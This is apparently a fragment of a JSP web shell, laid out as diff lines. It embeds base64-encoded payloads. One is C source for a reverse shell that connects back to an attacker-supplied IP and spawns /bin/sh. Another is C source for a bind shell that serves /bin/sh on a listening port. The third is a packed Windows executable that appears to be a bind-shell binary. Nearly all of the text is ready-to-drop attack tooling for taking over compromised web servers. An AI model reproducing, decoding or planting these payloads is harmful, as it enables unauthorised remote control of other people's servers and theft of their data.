Server IP: [ " + xServerIP + " ]   Your IP: [ " + xClientIP + " ]"; + +//################# RESOURCES GOES HERE #######################=============================================] +String icon = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAB/klEQVR42o2RS2gUQRCGq7rHB0rw4miwFWVmPSmIHpaQSwQD4ivGKHsImIOyBhJETUDjRaMIEjTk4gNFIutBwScY8eBh9aBgyCGCiKu4E4kzBk0uimiI21XWwgbMorOppumuKuqr6r8RZmnjxl8iR0H2DzfKT03HsVLhV+Ove4rc8xk4uYtxdCHgGQHc/SdAuqwZB9jCAE7RnwLGR8hHbiK5/aQzCcC0FP/+u2YG4KPx2+p14SKVTbFIiPdI7/eioL98whmAt8bv3O7Y89sIv29kzOpSvENR41lSD1Jh0BQLeGf8jq3a9nayetX2KVhfeta8Gm0nuwgH0+FITSxgzPgtm3Qhs5qR+kgfqwIYGgVuTmk60EPq/p4w2B0LkG5+l7I5Ud3BUsoBBlc0uEVOakWUvxMLKNqA8V4c0rZWyZ0lzbI2M9rTpNfKD+RiAV+MX9eiCs9+yV2ecLkacPgaUvcNxcuuWHW9Pgr2xQJeGu9Us7YnjpMaFsE2FGOh8dN12l49SjjUGo4kYwE54x3eqW3fXlJjrawSMvLPN8brbtB08hypgaYwaIgFTJjE0l5l3wfAVRdIN4qQT8T/dht5btbq9pVR/lJFEUWHWhF9fnWUzxb9x8u9hwcV7ZjOD1rHXRx9mPgvoNxkqjmTwKnXyMlVgAtcxucCyMwaUMn+AMvLzBHNivq3AAAAAElFTkSuQmCC"; +String bg = "iVBORw0KGgoAAAANSUhEUgAAAAMAAAADCAYAAABWKLW/AAAAJklEQVR42mNkAAIpKan/b968YWAEMZ49ewamGdnY2P6LiIgwgAQA8xYNYheotNcAAAAASUVORK5CYII="; +String xBack ="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47IA0KIGRhZW1vbigxLDApOw0KIHNpbi5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiBzaW4uc2luX3BvcnQgPSBodG9ucyhhdG9pKGFyZ3ZbMV0pKTsNCiBzaW4uc2luX2FkZHIuc19hZGRyID0gaW5ldF9hZGRyKGFyZ3ZbMl0pOyANCiBiemVybyhhcmd2WzJdLHN0cmxlbihhcmd2WzJdKSsxK3N0cmxlbihhcmd2WzFdKSk7IA0KIGZkID0gc29ja2V0KEFGX0lORVQsIFNPQ0tfU1RSRUFNLCBJUFBST1RPX1RDUCkgOyANCiBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICBwZXJyb3IoIlstXSBjb25uZWN0KCkiKTsNCiAgIGV4aXQoMCk7DQogfQ0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEpOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2giLChjaGFyICopMCk7IA0KIGNsb3NlKGZkKTsgDQp9"; +String xBind = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50IGFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiByZW1vdGU7DQogaWYoZm9yaygpID09IDApIHsgDQogcmVtb3RlLnNpbl9mYW1pbHkgPSBBRl9JTkVUOw0KIHJlbW90ZS5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KIHJlbW90ZS5zaW5fYWRkci5zX2FkZHIgPSBodG9ubChJTkFERFJfQU5ZKTsgDQogc29ja2ZkID0gc29ja2V0KEFGX0lORVQsU09DS19TVFJFQU0sMCk7DQogaWYoIXNvY2tmZCkgcGVycm9yKCJzb2NrZXQgZXJyb3IiKTsNCiBiaW5kKHNvY2tmZCwgKHN0cnVjdCBzb2NrYWRkciAqKSZyZW1vdGUsIDB4MTApOw0KIGxpc3Rlbihzb2NrZmQsIDUpOw0KIHdoaWxlKDEpDQogIHsNCiAgIG5ld2ZkPWFjY2VwdChzb2NrZmQsMCwwKTsNCiAgIGR1cDIobmV3ZmQsMCk7DQogICBkdXAyKG5ld2ZkLDEpOw0KICAgZHVwMihuZXdmZCwyKTsgICANCiAgIGV4ZWNsKCIvYmluL3NoIiwic2giLChjaGFyICopMCk7IA0KICAgY2xvc2UobmV3ZmQpOw0KICB9DQogfQ0KfQ0KaW50IGNocGFzcyhjaGFyICpiYXNlLCBjaGFyICplbnRlcmVkKSB7DQppbnQgaTsNCmZvcihpPTA7aTxzdHJsZW4oZW50ZXJlZCk7aSsrKSANCnsNCmlmKGVudGVyZWRbaV0gPT0gJ1xuJykNCmVudGVyZWRbaV0gPSAnXDAnOyANCmlmKGVudGVyZWRbaV0gPT0gJ1xyJykNCmVudGVyZWRbaV0gPSAnXDAnOw0KfQ0KaWYgKCFzdHJjbXAoYmFzZSxlbnRlcmVkKSkNCnJldHVybiAwOw0KfQ=="; +String wBind = "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